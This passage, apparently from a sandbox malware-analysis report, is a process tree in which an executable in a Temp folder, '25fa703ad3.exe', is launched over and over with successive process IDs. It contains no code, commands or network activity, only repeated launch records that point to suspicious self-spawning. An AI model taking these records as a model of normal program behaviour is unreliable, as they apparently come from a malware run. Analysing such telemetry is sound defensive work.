        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6716
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6724
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6732
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6740
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6748
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6756
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6764
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6772
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6780
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6788
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6796
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6804
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6812
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6820
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6828
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6836
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6844
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6852
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6860
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6868
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6876
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6884
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6892
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6900
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6908
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6916
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6924
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6932
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6940
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6964
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6972
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6980
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6988
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6996
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7004
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7012
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7020
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7028
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7036
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7044
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7056
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7068
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7076
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7084
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7092
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7100
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7108
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7116
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7124
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7132
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7140
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7148
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7156
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7164
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1588
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4048
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1136
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6952
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:6960
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4016
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4568
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4332
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3104
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1132
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7064
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7176
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7184
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7192
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7200
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7208
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7216
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7224
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7232
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7240
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7248
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7256
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7264
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7272
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7280
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7288
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7296
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7304
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7312
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7320
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7328
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7340
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7348
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7356
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7364
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7372
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7380
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7388
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7396
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7404
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7412
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7420
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7428
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7436
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7444
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7452
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7460
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7468
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7476
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7484
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7492
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7500
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7508
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7516
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7524
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7532
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7540
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7548
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7556
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7564
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7572
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7580
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7588
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7596
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7604
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7612
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7620
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7628
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7636
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7644
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7652
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7660
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7668
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7676
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7684
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7692
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7700
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7708
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7716
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7724
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7732
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7740
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7748
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7756
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7764
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7772
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7780
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7788
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7796
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7804
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7812
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7820
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7828
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7836
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7844
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7852
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7860
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7868
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7876
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7884
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7892
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7900
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
